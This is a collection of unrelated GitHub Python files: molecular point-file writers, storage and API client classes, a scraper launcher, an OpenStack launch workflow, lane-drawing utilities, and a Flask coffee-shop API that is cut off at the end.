collTime\n\ndef distTraveled(speed, time):\n dist = {}\n for x in speed:\n dist[x] = float(time*speed[x])\n return dist\n\ndef wreckType(trainDist, bounds, distance):\n if (((trainDist[1] > bounds['A']) and\n (trainDist[1] < bounds['A'] + bounds['open'])) and\n ((trainDist[2] > bounds['B']) and\n (trainDist[2] < bounds['B'] + bounds['open']))):\n return 'wreck'\n else:\n return \"disaster\"\n","repo_name":"couchjd/Playground","sub_path":"python/misc/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5125459853","text":"import re\n\n\ndef point_reader(fname):\n \"\"\"Read the points from PDB file format\n\n Args:\n fname (string) filename of single chromatin model in pdb file format\n\n Returns:\n (list) List of three floats tuples representing points in euclidean R^3\n \"\"\"\n atoms = [i.strip() for i in open(fname) if re.search('^(ATOM|HETATM)', i)]\n points = []\n for i in atoms:\n x = float(i[30:38])\n y = float(i[38:46])\n z = float(i[46:54])\n points.append((x, y, z))\n return points\n\n\ndef save_points_as_xyz(points, filename, fmt='chimera', **kwargs):\n \"\"\"Saves points as xyz file\n\n Args:\n points (list): three elements tuples\n filename (str): self-explanatory\n fmt (str): available formats:\n xyz 3 column tab separated\n idxyz 4 column tab separated (first column is an index)\n chimera kwargs: molecule_name\n \"\"\"\n prefix = ''\n atoms = ''\n suffix = ''\n n = len(points)\n if fmt == 'xyz':\n for i in range(n):\n x, y, z = points[i]\n atoms += ('{}\\t{}\\t{}\\n'.format(x, y, z))\n elif fmt == 'idxyz':\n for i in range(n):\n x, y, z = points[i]\n atoms += ('{}\\t{}\\t{}\\t{}\\n'.format(i + 1, x, y, z))\n elif fmt == 'chimera':\n if kwargs is not None and 'molecule_name' in kwargs:\n molecule_name = kwargs['molecule_name']\n else:\n molecule_name = ''\n prefix = '{}\\n{}\\n'.format(n, molecule_name)\n for i in range(n):\n x, y, z = points[i]\n atoms += ('C\\t{}\\t{}\\t{}\\n'.format(x, y, z))\n\n with open(filename, 'w') as f:\n f.write(prefix)\n f.write(atoms)\n f.write(suffix)\n print(\"File {} saved...\".format(filename))\n\n\ndef save_points_as_pdb(points, filename, render_connect=True, verbose=True, corect_endings_for_openmm=True):\n \"\"\"Save points in PDB file format.\n corect_endings_for_openmm zamienia BEA na BEE dla pierwsego i ostatniego koralika\"\"\"\n atoms = ''\n n = len(points)\n for i in range(n):\n x = points[i][0]\n y = points[i][1]\n try:\n z = points[i][2]\n except IndexError:\n z = 0.0\n if not corect_endings_for_openmm:\n atoms += (\n '{0:6}{1:>5} {2:3}{3:}{4:3} {5:}{6:>4}{7:} {8:>8.3f}{9:>8.3f}{10:>8.3f}{11:6.2f}{12:6.2f}{13:>12}\\n'.\n format(\n \"ATOM\", i + 1, 'B', ' ', 'BEA', 'A', i + 1, ' ', max(x, -999), max(y, -999), max(z, -999), 0, 0, 'B'))\n else:\n if i == 0 or i == n-1:\n atom_type = \"BEE\"\n else:\n atom_type = \"BEA\"\n atoms += (\n '{0:6}{1:>5} {2:3}{3:}{4:3} {5:}{6:>4}{7:} {8:>8.3f}{9:>8.3f}{10:>8.3f}{11:6.2f}{12:6.2f}{13:>12}\\n'.\n format(\n \"ATOM\", i + 1, 'B', ' ', atom_type, 'A', i + 1, ' ', max(x, -999), max(y, -999), max(z, -999), 0, 0, 'B'))\n\n connects = ''\n if render_connect:\n if n != 1:\n connects = 'CONECT 1 2\\n'\n for i in range(2, n):\n connects += 'CONECT{:>5}{:>5}{:>5}\\n'.format(i, i - 1, i + 1)\n connects += 'CONECT{:>5}{:>5}\\n'.format(n, n - 1)\n pdb_file_content = atoms + connects\n with open(filename, 'w') as f:\n f.write(pdb_file_content)\n if verbose:\n print(\"File {} saved...\".format(filename))\n return filename\n\n\ndef save_points_as_gro(points, filename, comment=\"comment\"):\n n = len(points)\n x, y, z = zip(*points)\n d = max(x + y + z)\n l = [\"{}\\n\".format(comment), str(n) + '\\n']\n for i in range(n):\n x = points[i][0] / 10\n y = points[i][1] / 10\n z = points[i][2] / 10\n w = '{:5}{:5}{:5}{:5}{:8.3f}{:8.3f}{:8.3f}\\n'.format(i, \"BEA\", \"B\", i + 1, x, y, z)\n l.append(w)\n l.append('{0:5f} {0:5f} {0:5f}'.format(d))\n filename = '{}'.format(filename)\n open(filename, 'w').writelines(l)\n print(\"File {} saved...\".format(filename))\n return filename\n\n","repo_name":"mkadlof/Serock2017","sub_path":"MyTools/points_io.py","file_name":"points_io.py","file_ext":"py","file_size_in_byte":4104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23963059242","text":"import abc\nimport datetime\nimport math\nimport six\n\nfrom oslo_utils import timeutils\n\n\ndef iter_period(start, end, period):\n \"\"\"Split a time from start to end in periods of a number of seconds. This\n function yield the (start, end) time for each period composing the time\n passed as argument.\n\n :param start: When the period set start.\n :param end: When the period end starts.\n :param period: The duration of the period.\n\n \"\"\"\n period_start = start\n increment = datetime.timedelta(seconds=period)\n for i in xrange(int(math.ceil(\n timeutils.delta_seconds(start, end)\n / float(period)))):\n next_start = period_start + increment\n yield (period_start, next_start)\n period_start = next_start\n\n\ndef _handle_sort_key(model_name, sort_key=None):\n \"\"\"Generate sort keys according to the passed in sort key from user.\n\n :param model_name: Database model name be query.(alarm, meter, etc.)\n :param sort_key: sort key passed from user.\n return: sort keys list\n \"\"\"\n sort_keys_extra = {'alarm': ['name', 'user_id', 'project_id'],\n 'meter': ['user_id', 'project_id'],\n 'resource': ['user_id', 'project_id', 'timestamp'],\n }\n\n sort_keys = sort_keys_extra[model_name]\n if not sort_key:\n return sort_keys\n # NOTE(Fengqian): We need to put the sort key from user\n #in the first place of sort keys list.\n try:\n sort_keys.remove(sort_key)\n except ValueError:\n pass\n finally:\n sort_keys.insert(0, sort_key)\n return sort_keys\n\n\nclass MultipleResultsFound(Exception):\n pass\n\n\nclass NoResultFound(Exception):\n pass\n\n\nclass Pagination(object):\n \"\"\"Class for pagination query.\"\"\"\n\n def __init__(self, limit=None, primary_sort_dir='desc', sort_keys=[],\n sort_dirs=[], marker_value=None):\n \"\"\"This puts all parameters used for paginate query together.\n\n :param limit: Maximum number of items to return;\n :param primary_sort_dir: Sort direction of primary key.\n :param marker_value: Value of primary key to identify the last item of\n the previous page.\n :param sort_keys: Array of attributes passed in by users to sort the\n results besides the primary key.\n :param sort_dirs: Per-column array of sort_dirs, corresponding to\n sort_keys.\n \"\"\"\n self.limit = limit\n self.primary_sort_dir = primary_sort_dir\n self.marker_value = marker_value\n self.sort_keys = sort_keys\n self.sort_dirs = sort_dirs\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass StorageEngine(object):\n \"\"\"Base class for storage engines.\"\"\"\n\n @abc.abstractmethod\n def get_connection(self, conf):\n \"\"\"Return a Connection instance based on the configuration settings.\"\"\"\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass Connection(object):\n \"\"\"Base class for storage system connections.\"\"\"\n\n @abc.abstractmethod\n def __init__(self, conf):\n \"\"\"Constructor.\"\"\"\n\n @abc.abstractmethod\n def upgrade(self):\n \"\"\"Migrate the database to `version` or the most recent version.\"\"\"\n\n @abc.abstractmethod\n def clear(self):\n \"\"\"Clear database.\"\"\"\n\n\nclass Model(object):\n \"\"\"Base class for storage API models.\n \"\"\"\n\n def __init__(self, **kwds):\n self.fields = list(kwds)\n for k, v in kwds.iteritems():\n setattr(self, k, v)\n\n def as_dict(self):\n d = {}\n for f in self.fields:\n v = getattr(self, f)\n if isinstance(v, Model):\n v = v.as_dict()\n elif isinstance(v, list) and v and isinstance(v[0], Model):\n v = [sub.as_dict() for sub in v]\n d[f] = v\n return d\n\n def __eq__(self, other):\n return self.as_dict() == other.as_dict()\n","repo_name":"Open-SFC/nscs","sub_path":"nscs/nscsas/storage/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74928974544","text":"#!/usr/bin/python3\n#\n# Usage: paralel-scrape.py URLS-FILE [OUTPUT-DIR] [NUM-OF-SUBPROCESSES]\n# Scrapes all sites listed in URLS-FILE and saves results in\n# OUTPUT-DIR. At the end it prints the execution time.\n\nfrom datetime import datetime\nimport os\nimport re\nimport sys\nimport subprocess\nimport time\n\nDEFAULT_OUTPUT_DIR = \"results\"\nDEFAULT_CHUNK_SIZE = 8\n\ndef main():\n startTime = time.time()\n run(sys.argv)\n print(\"==================================\")\n print(\"--- %s seconds ---\" % (time.time() - startTime))\n\ndef run(argv):\n interpreter = getInterpreter()\n urls = getUrls(argv)\n outputDir = getOutputDir(argv)\n chunkSize = getChunkSize(argv)\n for chunk in splitList(urls, chunkSize):\n batchProcess(chunk, interpreter, outputDir)\n\n# Retruns right name of an interpreter.\ndef getInterpreter():\n if os.name == \"posix\":\n return \"python3\"\n else:\n return \"python\"\n\ndef getUrls(argv):\n with open(argv[1]) as file:\n return file.readlines()\n\ndef getOutputDir(argv):\n if len(argv) <= 2:\n return DEFAULT_OUTPUT_DIR\n else:\n return sys.argv[2]\n\ndef getChunkSize(argv):\n if len(argv) <= 3:\n return DEFAULT_CHUNK_SIZE\n else:\n return int(sys.argv[3])\n\n# Yields successive n-sized chunks from list.\ndef splitList(list, chunkLength):\n for i in range(0, len(list), chunkLength):\n yield list[i:i+chunkLength]\n\n# Paralelly scrapes urls that are contained in chunk\ndef batchProcess(chunk, interpreter, outputDir):\n subprocesses = []\n for url in chunk:\n p = getSubprocess(url, outputDir, interpreter)\n subprocesses.append(p)\n for p in subprocesses:\n waitForSubprocess(p)\n\ndef getSubprocess(url, outputDir, interpreter):\n url = url.rstrip()\n command = getCommand(url, outputDir, interpreter)\n print(' '.join(command))\n return subprocess.Popen(command, stdout=subprocess.PIPE, \n stderr=subprocess.PIPE)\n\ndef getCommand(url, outputDir, interpreter):\n filename = getFilename(url, outputDir)\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n return [ interpreter, \"betbrain.py\", url, filename]\n\ndef getFilename(url, outputDir):\n time = datetime.now().strftime('%Y-%m-%d_%H-%M-%S')\n game = re.sub('^.*\\.com/', '', url)\n game = re.sub('/$', '', game)\n game = re.sub('/', '_', game)\n return outputDir+\"/\"+game+\"_\"+time+\".txt\"\n\ndef waitForSubprocess(p):\n out, err = p.communicate()\n if err:\n print(err.decode('unicode_escape'))\n # EX: printOut(out)\n\n# def printOut(out):\n# string = out.decode('unicode_escape')\n# head = string.splitlines()[1:10]\n# print('\\n'.join(head))\n\nif __name__ == '__main__':\n main()\n","repo_name":"gto76/betbrain-scraper","sub_path":"paralel-scrape.py","file_name":"paralel-scrape.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"13021815111","text":"import os\nimport re\n\ntry:\n from pyChatGPT import ChatGPT\n\n delete_files = input(\n \"Delete all existing files in data/articles? This will increase the speed of the program (y/n): \"\n )\n\n if delete_files == \"y\":\n for file in os.listdir(\"data/articles/\"):\n if file.endswith(\".txt\"):\n os.remove(\"data/articles/\" + file)\n print(\"Successfully deleted all files in data/articles\")\n\n while True:\n file_name = input(\"Enter a file name (or leave blank to quit): \")\n if not file_name:\n break\n file_name = re.sub(r\"[^\\w\\s]\", \"\", file_name)\n file_content = input(\"Enter the text content for the file: \")\n with open(f\"data/articles/{file_name}.txt\", \"w\") as f:\n f.write(file_content)\n print(f\"Successfully wrote content to file {file_name}.txt in data/articles\")\nexcept:\n print(\n \"Run CMD and type out\\n[1]: cd\"\n + os.getcwd()\n + \"\\data\\imports\"\n + \"\\n[2]: \"\n + \"pip install -r requirements.txt\"\n )\n a = input()\n","repo_name":"PouplarWesel/ChatGPT-Summarize","sub_path":"articles.py","file_name":"articles.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"72533140626","text":"from python_mms_api.helpers import accept_json_header\n\nimport requests\nimport json\nimport logging\n\nlogger = logging.getLogger(\"qa.api.{}\".format(__name__))\n\nclass Cluster(object):\n\n\tdef __init__(self, base_uri, auth):\n\t\tself.base_uri = base_uri\n\t\tself.auth = auth\n\n\tdef get_clusters(self, group_id):\n\t\turi = \"/api/public/v1.0/groups/{group_id}/clusters\"\n\t\tfull_uri = self.base_uri + uri\n\t\tfull_uri = full_uri.format(group_id=group_id)\n\t\tresp = requests.get(full_uri, auth=self.auth)\n\t\treturn resp.json()\n\n\tdef get_cluster_for_replica_set(self, group_id, rs_id):\n\t\turi = \"/api/public/v1.0/groups/{group_id}/clusters\"\n\t\tfull_uri = self.base_uri + uri\n\t\tfull_uri = full_uri.format(group_id=group_id)\n\t\tresp = requests.get(full_uri, auth=self.auth)\n\t\tclusters = resp.json().get(\"results\", [])\n\t\tfor cluster in clusters:\n\t\t\tif cluster.get(\"typeName\") == \"REPLICA_SET\":\n\t\t\t\tif cluster.get(\"replicaSetName\") == rs_id:\n\t\t\t\t\treturn cluster.get(\"id\")\n\t\treturn None\n\n\tdef get_cluster(self, group_id, cluster_id):\n\t\turi = \"/api/public/v1.0/groups/{group_id}/clusters/{cluster_id}\"\n\t\tfull_uri = self.base_uri + uri\n\t\tfull_uri = full_uri.format(group_id=group_id, cluster_id=cluster_id)\n\t\tresp = requests.get(full_uri, auth=self.auth)\n\t\treturn resp.json()\n","repo_name":"idbentley/mms-qa-skunkworks","sub_path":"python_mms_api/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8077549237","text":"import smtplib\nfrom flask_restful import Resource\nfrom itsdangerous import URLSafeTimedSerializer\nfrom models.users import UserModel\nimport os.path\nfrom flask_restful import Resource\nfrom flask import Flask, Response\n\n\n\nclass ConfirmMail (Resource):\n def get (self, token):\n def root_dir():\n return os.path.abspath(os.path.dirname(__file__))\n\n def get_file(filename):\n try:\n src = os.path.join(root_dir(), filename)\n return open(src).read()\n except IOError as exc:\n return str(exc)\n s = URLSafeTimedSerializer(\"password1\")\n try:\n mail=s.loads(token, salt=\"emailconfirm\")\n user=UserModel.find_by_mail(mail)\n if user.confirmed==False:\n user.confirmed=True\n user.save_to_db()\n\n content = get_file('userConfirmed.html')\n return Response(content, mimetype=\"text/html\")\n\n content = get_file('userAlreadyConfirmed.html')\n return Response(content, mimetype=\"text/html\")\n except:\n if token:\n content = get_file('tokenExpired.html')\n return Response(content, mimetype=\"text/html\")\n content = get_file('noToken.html')\n return Response(content, mimetype=\"text/html\")\n","repo_name":"MatteRubbiani/API","sub_path":"resources/confirm_mail.py","file_name":"confirm_mail.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9758352759","text":"from horizon import workflows, forms\nfrom django.utils.translation import ugettext_lazy as _\nfrom horizon.utils import fields\n\n\nclass SetInstanceDetailsAction(workflows.Action):\n SOURCE_TYPE_CHOICES = (\n ('', _(\"--- Select source ---\")),\n (\"image_id\", _(\"Boot from image.\")),\n (\"instance_snapshot_id\", _(\"Boot from snapshot.\")),\n (\"volume_id\", _(\"Boot from volume.\")),\n (\"volume_image_id\", _(\"Boot from image \"\n \"(creates a new volume).\")),\n (\"volume_snapshot_id\", _(\"Boot from volume snapshot \"\n \"(creates a new volume).\")),\n )\n\n availability_zone = forms.ChoiceField(label=_(\"Availability Zone\"),\n required=False)\n\n name = forms.CharField(max_length=80, label=_(\"Instance Name\"))\n\n flavor = forms.ChoiceField(label=_(\"Flavor\"),\n help_text=_(\"Size of image to launch.\"))\n\n count = forms.IntegerField(label=_(\"Instance Count\"),\n min_value=1,\n initial=1,\n help_text=_(\"Number of instances to launch.\"))\n\n source_type = forms.ChoiceField(label=_(\"Instance Boot Source\"),\n required=True,\n choices=SOURCE_TYPE_CHOICES,\n help_text=_(\"Choose Your Boot Source \"\n \"Type.\"))\n\n instance_snapshot_id = forms.ChoiceField(label=_(\"Instance Snapshot\"),\n required=False)\n\n volume_id = forms.ChoiceField(label=_(\"Volume\"), required=False)\n\n volume_snapshot_id = forms.ChoiceField(label=_(\"Volume Snapshot\"),\n required=False)\n\n image_id = forms.ChoiceField(\n label=_(\"Image Name\"),\n required=False,\n widget=fields.SelectWidget(\n data_attrs=('volume_size',),\n transform=lambda x: (\"%s (%s)\" % (x.name,\n filesizeformat(x.bytes)))))\n\n volume_size = forms.CharField(label=_(\"Device size (GB)\"),\n required=False,\n help_text=_(\"Volume size in gigabytes \"\n \"(integer value).\"))\n\n device_name = forms.CharField(label=_(\"Device Name\"),\n required=False,\n initial=\"vda\",\n help_text=_(\"Volume mount point (e.g. 'vda' \"\n \"mounts at '/dev/vda').\"))\n\n delete_on_terminate = forms.BooleanField(label=_(\"Delete on Terminate\"),\n initial=False,\n required=False,\n help_text=_(\"Delete volume on \"\n \"instance terminate\"))\n\n class Meta:\n name = _(\"Details\")\n help_text_template = (\"project/instances/\"\n \"_launch_details_help.html\")\n\n def __init__(self, request, context, *args, **kwargs):\n self._init_images_cache()\n super(SetInstanceDetailsAction, self).__init__(\n request, context, *args, **kwargs)\n\n def clean(self):\n cleaned_data = super(SetInstanceDetailsAction, self).clean()\n\n count = cleaned_data.get('count', 1)\n # Prevent launching more instances than the quota allows\n usages = quotas.tenant_quota_usages(self.request)\n available_count = usages['instances']['available']\n if available_count < count:\n error_message = ungettext_lazy('The requested instance '\n 'cannot be launched as you only '\n 'have %(avail)i of your quota '\n 'available. ',\n 'The requested %(req)i instances '\n 'cannot be launched as you only '\n 'have %(avail)i of your quota '\n 'available.',\n count)\n params = {'req': count,\n 'avail': available_count}\n raise forms.ValidationError(error_message % params)\n\n # Validate our instance source.\n source_type = self.data.get('source_type', None)\n\n if source_type == 'image_id':\n if not cleaned_data.get('image_id'):\n msg = _(\"You must select an image.\")\n self._errors['image_id'] = self.error_class([msg])\n\n elif source_type == 'instance_snapshot_id':\n if not cleaned_data['instance_snapshot_id']:\n msg = _(\"You must select a snapshot.\")\n self._errors['instance_snapshot_id'] = self.error_class([msg])\n\n elif source_type == 'volume_id':\n if not cleaned_data.get('volume_id'):\n msg = _(\"You must select a volume.\")\n self._errors['volume_id'] = self.error_class([msg])\n # Prevent launching multiple instances with the same volume.\n # TODO(gabriel): is it safe to launch multiple instances with\n # a snapshot since it should be cloned to new volumes?\n if count > 1:\n msg = _('Launching multiple instances is only supported for '\n 'images and instance snapshots.')\n raise forms.ValidationError(msg)\n\n elif source_type == 'volume_image_id':\n if not cleaned_data['image_id']:\n msg = _(\"You must select an image.\")\n self._errors['image_id'] = self.error_class([msg])\n if not self.data.get('volume_size', None):\n msg = _(\"You must set volume size\")\n self._errors['volume_size'] = self.error_class([msg])\n if not cleaned_data.get('device_name'):\n msg = _(\"You must set device name\")\n self._errors['device_name'] = self.error_class([msg])\n\n elif source_type == 'volume_snapshot_id':\n if not cleaned_data.get('volume_snapshot_id'):\n msg = _(\"You must select a snapshot.\")\n self._errors['volume_snapshot_id'] = self.error_class([msg])\n if not cleaned_data.get('device_name'):\n msg = _(\"You must set device name\")\n self._errors['device_name'] = self.error_class([msg])\n\n return cleaned_data\n\n def _init_images_cache(self):\n if not hasattr(self, '_images_cache'):\n self._images_cache = {}\n\n def _get_volume_display_name(self, volume):\n if hasattr(volume, \"volume_id\"):\n vol_type = \"snap\"\n visible_label = _(\"Snapshot\")\n else:\n vol_type = \"vol\"\n visible_label = _(\"Volume\")\n return ((\"%s:%s\" % (volume.id, vol_type)),\n (_(\"%(name)s - %(size)s GB (%(label)s)\") %\n {'name': volume.display_name or volume.id,\n 'size': volume.size,\n 'label': visible_label}))\n\n def populate_image_id_choices(self, request, context):\n choices = []\n images = api.images(request)\n for image in images:\n image.bytes = image.size\n image.volume_size = functions.bytes_to_gigabytes(image.bytes)\n choices.append((image.id, image))\n if choices:\n choices.insert(0, (\"\", _(\"Select Image\")))\n else:\n choices.insert(0, (\"\", _(\"No images available\")))\n return choices\n\n def populate_instance_snapshot_id_choices(self, request, context):\n images = api.images(request)\n choices = [(image.id, image.name)\n for image in images\n if image.properties.get(\"image_type\", '') == \"snapshot\"]\n if choices:\n choices.insert(0, (\"\", _(\"Select Instance Snapshot\")))\n else:\n choices.insert(0, (\"\", _(\"No snapshots available.\")))\n return choices\n\n\nclass SetInstanceDetails(workflows.Step):\n action_class = SetInstanceDetailsAction\n depends_on = (\"project_id\", \"user_id\")\n contributes = (\"source_type\", \"source_id\",\n \"availability_zone\", \"name\", \"count\", \"flavor\",\n \"device_name\", # Can be None for an image.\n \"delete_on_terminate\")\n\n def prepare_action_context(self, request, context):\n if 'source_type' in context and 'source_id' in context:\n context[context['source_type']] = context['source_id']\n return context\n\n def contribute(self, data, context):\n context = super(SetInstanceDetails, self).contribute(data, context)\n # Allow setting the source dynamically.\n if (\"source_type\" in context and \"source_id\" in context\n and context[\"source_type\"] not in context):\n context[context[\"source_type\"]] = context[\"source_id\"]\n\n # Translate form input to context for source values.\n if \"source_type\" in data:\n if data[\"source_type\"] in [\"image_id\", \"volume_image_id\"]:\n context[\"source_id\"] = data.get(\"image_id\", None)\n else:\n context[\"source_id\"] = data.get(data[\"source_type\"], None)\n\n if \"volume_size\" in data:\n context[\"volume_size\"] = data[\"volume_size\"]\n\n return context\n\n\n\nclass LaunchInstance(workflows.Workflow):\n slug = \"launch_instance\"\n name = _(\"Launch Instance\")\n finalize_button_name = _(\"Launch\")\n success_message = _('Launched %(count)s named \"%(name)s\".')\n failure_message = _('Unable to launch %(count)s named \"%(name)s\".')\n success_url = \"horizon:cnext:instances:index\"\n default_steps = (\n SetInstanceDetails)\n\n\n def format_status_message(self, message):\n name = self.context.get('name', 'unknown instance')\n count = self.context.get('count', 1)\n if int(count) > 1:\n return message % {\"count\": _(\"%s instances\") % count,\n \"name\": name}\n else:\n return message % {\"count\": _(\"instance\"), \"name\": name}\n","repo_name":"cosgrid001/cosgrid_hh","sub_path":"cnext/instances/cnext_workflows.py","file_name":"cnext_workflows.py","file_ext":"py","file_size_in_byte":10410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23159919250","text":"from PIL import Image, ImageOps\nimport numpy as np\nfrom math import sqrt\n \n# creating a image1 object\nim = Image.open(\"theiere.png\")\n# im = Image.open(\"my_chat.v1.jpg\")\nim = im.resize((224,224))\n\npx = im.load()\nimg = Image.new('RGB', (224, 224), color = 'red') \nfor x in range(im.size[0]): # for every pixel:\n for y in range(im.size[1]):\n r,g,b,t = px[x,y]\n print(r,g,b,t)\n\n a = 40\n # im.putpixel((x, y), (min(r+a, 255),min(g+a, 255),min(b+a, 255)))#(r,g,b))\n img.putpixel((x, y), (r,g,b))#(r,g,b))\n\nimg.save(\"theiere.png\")\n\n","repo_name":"ARKANYOTA/write-ups","sub_path":"404CTF2023/IA/LePetitChat/fichier a supprimer de test/v1-v2.full_gray.py","file_name":"v1-v2.full_gray.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"9012028405","text":"import os\nimport cv2\nimport numpy as np\nfrom scipy.interpolate import InterpolatedUnivariateSpline\n\n\nclass Lane:\n def __init__(self, points=None, invalid_value=-2., metadata=None):\n super(Lane, self).__init__()\n self.curr_iter = 0\n self.points = points\n self.invalid_value = invalid_value\n self.function = InterpolatedUnivariateSpline(\n points[:, 1], points[:, 0], k=min(3, len(points) - 1))\n self.min_y = points[:, 1].min() - 0.01\n self.max_y = points[:, 1].max() + 0.01\n self.metadata = metadata or {}\n\n def __repr__(self):\n return '[Lane]\\n' + str(self.points) + '\\n[/Lane]'\n\n def __call__(self, lane_ys):\n lane_xs = self.function(lane_ys)\n\n lane_xs[(lane_ys < self.min_y) | (lane_ys > self.max_y\n )] = self.invalid_value\n return lane_xs\n\n def to_array(self, sample_y_range, img_w, img_h):\n self.sample_y = range(sample_y_range[0], sample_y_range[1],\n sample_y_range[2])\n sample_y = self.sample_y\n img_w, img_h = img_w, img_h\n ys = np.array(sample_y) / float(img_h)\n xs = self(ys)\n valid_mask = (xs >= 0) & (xs < 1)\n lane_xs = xs[valid_mask] * img_w\n lane_ys = ys[valid_mask] * img_h\n lane = np.concatenate(\n (lane_xs.reshape(-1, 1), lane_ys.reshape(-1, 1)), axis=1)\n return lane\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.curr_iter < len(self.points):\n self.curr_iter += 1\n return self.points[self.curr_iter - 1]\n self.curr_iter = 0\n raise StopIteration\n\n\nCOLORS = [\n (255, 0, 0),\n (0, 255, 0),\n (0, 0, 255),\n (255, 255, 0),\n (255, 0, 255),\n (0, 255, 255),\n (128, 255, 0),\n (255, 128, 0),\n (128, 0, 255),\n (255, 0, 128),\n (0, 128, 255),\n (0, 255, 128),\n (128, 255, 255),\n (255, 128, 255),\n (255, 255, 128),\n (60, 180, 0),\n (180, 60, 0),\n (0, 60, 180),\n (0, 180, 60),\n (60, 0, 180),\n (180, 0, 60),\n (255, 0, 0),\n (0, 255, 0),\n (0, 0, 255),\n (255, 255, 0),\n (255, 0, 255),\n (0, 255, 255),\n (128, 255, 0),\n (255, 128, 0),\n (128, 0, 255),\n]\n\n\ndef imshow_lanes(img, lanes, show=False, out_file=None, width=4):\n lanes_xys = []\n for _, lane in enumerate(lanes):\n xys = []\n for x, y in lane:\n if x <= 0 or y <= 0:\n continue\n x, y = int(x), int(y)\n xys.append((x, y))\n lanes_xys.append(xys)\n lanes_xys.sort(key=lambda xys: xys[0][0] if len(xys) > 0 else 0)\n\n for idx, xys in enumerate(lanes_xys):\n for i in range(1, len(xys)):\n cv2.line(img, xys[i - 1], xys[i], COLORS[idx], thickness=width)\n\n if show:\n cv2.imshow('view', img)\n cv2.waitKey(0)\n\n if out_file:\n if not os.path.exists(os.path.dirname(out_file)):\n os.makedirs(os.path.dirname(out_file))\n cv2.imwrite(out_file, img)\n","repo_name":"swx3027925806/PaddleDetection-OOD-Det","sub_path":"ppdet/modeling/lane_utils.py","file_name":"lane_utils.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"43399210317","text":"import os\nfrom flask import Flask, request, jsonify, abort\nfrom sqlalchemy import exc\nimport json\nfrom flask_cors import CORS\n\nfrom .database.models import db_drop_and_create_all, setup_db, Drink\nfrom sqlalchemy.exc import SQLAlchemyError\nfrom .auth.auth import AuthError, requires_auth\n\napp = Flask(__name__)\nsetup_db(app)\nCORS(app)\n\n'''\nInitialize the database\n!! NOTE THIS WILL DROP ALL RECORDS AND START YOUR DB FROM SCRATCH\n!! NOTE THIS MUST BE UNCOMMENTED ON FIRST RUN\n'''\ndb_drop_and_create_all()\n\n\n'''\n GET /drinks\n public endpoint\n contains only the drink.short() data representation\n returns status code 200 and json {\"success\": True, \"drinks\": drinks} where drinks is the list of drinks or\n appropriate status code indicating reason for failure\n'''\n\n\n@app.route('/drinks')\ndef get_drinks():\n drinks = list(map(Drink.short, Drink.query.all()))\n return jsonify({\n 'success': True,\n 'drinks': drinks\n })\n\n\n'''\n GET /drinks-detail\n requires the 'get:drinks-detail' permission\n contains the drink.long() data representation\n returns status code 200 and json {\"success\": True, \"drinks\": drinks} where drinks is the list of drinks\n or appropriate status code indicating reason for failure\n'''\n\n\n@app.route('/drinks-detail')\n@requires_auth('get:drinks-detail')\ndef get_drinks_detail(payload):\n drinks = list(map(Drink.long, Drink.query.all()))\n return jsonify({\n 'success': True,\n 'drinks': drinks\n })\n\n\n'''\n POST /drinks\n creates a new row in the drinks table\n responds with a 400 error if drink already exists\n requires the 'post:drinks' permission\n contains the drink.long() data representation\n returns status code 200 and json {\"success\": True, \"drinks\": drink} where drink an array containing\n only the newly created drink or appropriate status code indicating reason for failure\n'''\n\n\n@app.route('/drinks', methods=['POST'])\n@requires_auth('post:drinks')\ndef create_drink(payload):\n json_content = json.loads(request.data.decode('utf-8'))\n\n if 'title' not in json_content or 'recipe' not in json_content:\n abort(422)\n\n title = json_content['title']\n recipe = json_content['recipe']\n\n existing_drink = Drink.query.filter_by(title=title).one_or_none()\n if not (existing_drink is None):\n abort(400)\n\n drink = Drink(title=title, recipe=json.dumps(recipe))\n drink.insert()\n\n return jsonify({\n 'success': True,\n 'drinks': [drink.long()]\n })\n\n\n'''\n PATCH /drinks/\n is the existing model id\n responds with a 404 error if is not found or drink is not found\n updates the corresponding row for \n requires the 'patch:drinks' permission\n contains the drink.long() data representation\n returns status code 200 and json {\"success\": True, \"drinks\": drink} where drink an array containing\n only the updated drink or appropriate status code indicating reason for failure\n'''\n\n\n@app.route('/drinks/', methods=['PATCH'])\n@requires_auth('patch:drinks')\ndef update_drink(payload, drink_id):\n json_content = json.loads(request.data.decode('utf-8'))\n drink = Drink.query.get(drink_id)\n\n if 'title' in json_content:\n drink.title = json_content['title']\n\n if 'recipe' in json_content:\n drink.recipe = json_content['recipe']\n\n drink.update()\n drinks = list(map(Drink.long, Drink.query.all()))\n\n return jsonify({\n 'success': True,\n 'drinks': drinks\n })\n\n\n'''\n DELETE /drinks/\n is the existing model id\n responds with a 404 error if is not found or drink is not found\n it should delete the corresponding row for \n requires the 'delete:drinks' permission\n returns status code 200 and json {\"success\": True, \"delete\": id} where id is the id of the deleted record\n or appropriate status code indicating reason for failure\n'''\n\n\n@app.route('/drinks/', methods=['DELETE'])\n@requires_auth('delete:drinks')\ndef delete_drink(payload, drink_id):\n # check if 